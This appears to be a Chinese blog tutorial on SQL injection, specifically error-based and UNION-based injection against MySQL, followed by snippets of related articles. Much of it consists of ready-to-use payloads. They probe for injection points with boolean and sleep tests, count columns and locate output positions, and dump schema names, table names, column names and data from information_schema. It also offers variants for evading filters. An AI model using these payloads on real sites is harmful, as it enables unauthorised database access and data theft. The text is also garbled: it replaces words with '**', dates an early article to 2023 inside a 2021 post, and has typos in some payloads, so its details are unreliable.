SQL注入原理和分析 顯錯注入

2021-10-04 13:48:37 字數 1632 閱讀 8660

sql注入本質

談到sql注入前我們先談談什麼是注入

注入攻擊的本質,是把使用者輸入的資料當做**執行

有兩個關鍵條件:

1.使用者輸入的資料控制輸入

2.原本程式要執行的**,拼接了使用者輸入的資料然後進行執行

sql注入就是針對sql語句的注入,也可以理解為使用者輸入的資料當作sql語句的**執行。

sql注入是2023年一名叫做rfp的黑客發表的一篇文章所進入大眾實現。

我們今天先介紹顯錯注入

顯錯注入的做法

判斷注入點:

最古老的做法:

and 1=1 //頁面正常

and 1=2 //頁面不正常

最簡單的方法: 頁面傳參後面加 』 ,看是否報錯

其他方法:

如果是數字型傳參,可以嘗試-1

例如: 頁面顯示id=1的新聞

頁面顯示id=1的新聞

因為and 1=1 and 1=2 被攔截的可能性太高了

這裡可以嘗試and -1=-1 和and -1=-2

還可以 or sleep(5)

顯錯注入-聯合查詢(mysql資料庫)基本流程

1.是否存在注入點

2.猜解字段數

3.聯合查詢尋找輸出點

4.去系統自帶庫查詢表名、欄位名

5.查詢我們需要的字段值

顯錯注入的過程

mysql注入:

判斷當前頁面字段總數

and 1=1 order by 1,2,3,4,5…

判斷顯示位:

and 1=2 union select 1,2,3,4,5…(這裡union select 前面的語句為假時才會執行後面的語句)

檢視當前資料庫:

and 1=2 union select 1,2 schema_name from information_schema.schema

and 1=2 unoin select 1,2,database()

查詢表名:

and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

查詢列名:

and 1=2 union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name=表名的16進製制 limit 0,1

查詢字段內容:

and 1=2 union select 1,2,列名,4 from 表名 limit 0,1…

sql注入常用函式:

group_concat(col) //返回由屬於一組的列值連線組合而成的結果

ascll(char) //返回字元的ascll碼值

database() //返回當前資料庫名

system_user() //返回當前登入使用者名稱

version() //返回mysql伺服器的版本

sleep(n) //休眠n秒

SQL注入 顯錯注入

顯錯注入 步驟1 判斷是否存在注入點 步驟2 猜解字段數 步驟3 聯合查詢找出輸出點 步驟4 去系統自帶庫查詢表名和欄位名 步驟5 查詢我們需要的欄位名 步驟1 判斷是否存在注入點 192.168.1.10 1 id 1 這裡可以用id 1 來確定是否存在注入點,192.168.1.10 1 id ...

sql注入之顯錯注入

1.判斷是否存在注入點 在正常輸入後面新增and 1 1 檢視是否正常回顯。如果一切正常說明該處存在注入點。是資料庫查詢的結束標誌。id 1 and 1 1 這裡的?id 1 使用單引號閉合查詢語句。不同的查詢寫法使用響應的閉合方式 2.猜解字段數。每乙個資料庫查詢語句的結果都是乙個 使用order...

mysql錯誤回顯注入 sql注入 顯錯注入

前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...